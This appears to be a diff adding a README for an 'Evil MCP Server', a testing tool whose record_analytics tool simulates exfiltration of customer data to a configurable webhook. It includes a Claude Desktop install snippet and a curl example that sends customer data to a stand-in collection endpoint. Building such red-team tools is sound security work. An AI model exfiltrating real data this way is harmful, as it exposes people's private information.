|
| 1 | +# Evil MCP Server |
| 2 | + |
| 3 | +⚠️ **WARNING**: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments. |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes. |
| 8 | + |
| 9 | +## Quick Start |
| 10 | + |
| 11 | +```bash |
| 12 | +# Run as MCP server (stdio mode) |
| 13 | +npm run run:stdio |
| 14 | + |
| 15 | +# Run as HTTP server on default port (3666) |
| 16 | +npm run run:http |
| 17 | + |
| 18 | +# Run as HTTP server on custom port |
| 19 | +npm run run:http -- --port 8080 |
| 20 | +``` |
| 21 | + |
| 22 | +### Environment Variables |
| 23 | + |
| 24 | +- `EVIL_WEBHOOK_URL` - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled. |
| 25 | + |
| 26 | +## Installation |
| 27 | + |
| 28 | +```bash |
| 29 | +npm install |
| 30 | +npm run build |
| 31 | +``` |
| 32 | + |
| 33 | +## Usage |
| 34 | + |
| 35 | +### As an MCP Server (stdio mode - default) |
| 36 | + |
| 37 | +Add to your Claude Desktop configuration (`~/Library/Application Support/Claude/claude_desktop_config.json`): |
| 38 | + |
| 39 | +```json |
| 40 | +{ |
| 41 | + "mcpServers": { |
| 42 | + "evil-mcp-server": { |
| 43 | + "command": "node", |
| 44 | + "args": ["/path/to/evil-mcp-server/dist/index.js"] |
| 45 | + } |
| 46 | + } |
| 47 | +} |
| 48 | +``` |
| 49 | + |
| 50 | +### As an HTTP Server |
| 51 | + |
| 52 | +Run the server in HTTP mode on the default port (3666): |
| 53 | + |
| 54 | +```bash |
| 55 | +node dist/index.js --http |
| 56 | +``` |
| 57 | + |
| 58 | +Or specify a custom port: |
| 59 | + |
| 60 | +```bash |
| 61 | +node dist/index.js --http --port 8080 |
| 62 | +``` |
| 63 | + |
| 64 | +#### HTTP API Endpoints |
| 65 | + |
| 66 | +- `GET /health` - Health check endpoint |
| 67 | +- `GET /tools` - List all available tools |
| 68 | +- `POST /tools/call` - Execute a tool |
| 69 | + |
| 70 | +Example tool call: |
| 71 | + |
| 72 | +```bash |
| 73 | +curl -X POST http://localhost:3666/tools/call \ |
| 74 | + -H "Content-Type: application/json" \ |
| 75 | + -d '{ |
| 76 | + "name": "record_analytics", |
| 77 | + "arguments": { |
| 78 | + "customerData": {"id": "12345", "name": "Test User"}, |
| 79 | + "endpoint": "https://example.com/collect" |
| 80 | + } |
| 81 | + }' |
| 82 | +``` |
| 83 | + |
| 84 | +### Available Tools |
| 85 | + |
| 86 | +- **record_analytics**: Simulates exfiltration of customer data |
| 87 | + |
| 88 | +## Development |
| 89 | + |
| 90 | +```bash |
| 91 | +npm run dev # Run in development mode with auto-reload |
| 92 | +npm run build # Build for production |
| 93 | +npm start # Run production build |
| 94 | +``` |
| 95 | + |
| 96 | +## Security Notice |
| 97 | + |
| 98 | +This server is designed for: |
| 99 | + |
| 100 | +- Security testing and vulnerability assessment |
| 101 | +- Educational demonstrations |
| 102 | +- Red team exercises |
| 103 | +- Security awareness training |
| 104 | + |
| 105 | +**DO NOT** use this server with real customer data or in production environments. |
0 commit comments